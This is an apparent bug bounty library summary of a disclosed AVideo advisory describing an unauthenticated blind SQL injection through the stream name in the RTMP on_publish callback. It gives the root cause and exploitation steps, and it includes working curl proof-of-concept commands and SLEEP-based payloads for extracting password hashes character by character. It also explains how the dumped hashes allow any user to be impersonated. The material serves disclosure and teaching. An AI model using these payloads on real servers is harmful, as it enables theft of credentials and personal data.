# AVideo has an Unauthenticated Blind SQL Injection in RTMP on_publish Callback via Stream Name Parameter

Unauthenticated RTMP on_publish callback in AVideo interpolates the stream name into SQL, enabling time-based blind injection to dump password hashes and secrets.

- Payout: Research
- Severity: high
- Program: AVideo
- Found by: offset
- Disclosed: 2026-03-20
- CVE: CVE-2026-33485
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-8p58-35c3-ccxx
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-8p58-35c3-ccxx
- Tags: area:web domain:web impact:ato impact:data-leak impact:pii-leak kind:research platform:ghsa sev:high tech:php technique:blind technique:source-review vuln:sqli

**Target:** plugin/Live/on_publish.php RTMP publish callback (name parameter)
**Root cause:** Stream name from $_POST['name'] is only stripped of & and = then interpolated directly into LIKE and = SQL clauses in getLatest() and keyExists(); sqlDAL::readSql() without placeholders provides no binding.
**Steps:**
1. POST to `/plugin/Live/on_publish.php` with `tcurl=rtmp://localhost/live&name=' OR (SELECT SLEEP(5)) %23`
2. Observe ~5s delay confirming injection via getLatest() LIKE clause
3. Extract data char-by-char: `name=' OR (SELECT SLEEP(5) FROM users WHERE id=1 AND SUBSTRING(password,1,1)='\$') %23`
4. For keyExists() path, add `?p=test` to tcurl so line 146 is reached
**How found:** Source review of the unauthenticated on_publish.php entry point; noticed line 117 only strips & and =, then traced $_POST['name'] into getLatest() and keyExists() where it lands in raw SQL, and confirmed readSql() does no binding without placeholders.
**Exploitation:** Unauthenticated attacker sends crafted POST to on_publish.php; time-based blind injection extracts bcrypt hashes, emails, API keys and live stream passwords. Extracted hashes can be reused as the `p` parameter since line 153 compares `$_GET['p'] === $user->getPassword()` against the raw stored hash, allowing stream impersonation of any user.
**Escalation:** Dumped password hashes double as the `p` auth parameter, enabling impersonation of any user on the streaming system.
**Insight:** When a sanitizer strips only a couple of characters (& and =), it signals the author knew about injection but under-filtered; check whether the remaining payload space (quotes, comments, SLEEP) still reaches a raw SQL string, and whether readSql() is called without format/values so prepare() binds nothing.

## Proof of concept (copied exactly from the original report)

**Time-based blind SQLi via getLatest()**

```
curl -s -o /dev/null -w "%{time_total}" \
  -X POST "http://TARGET/plugin/Live/on_publish.php" \
  -d "tcurl=rtmp://localhost/live&name=' OR (SELECT SLEEP(5)) %23"
```

**Injection via keyExists with p parameter**

```
curl -s -o /dev/null -w "%{time_total}" \
  -X POST "http://TARGET/plugin/Live/on_publish.php" \
  -d "tcurl=rtmp://localhost/live?p=test&name=' OR (SELECT SLEEP(5)) %23"
```

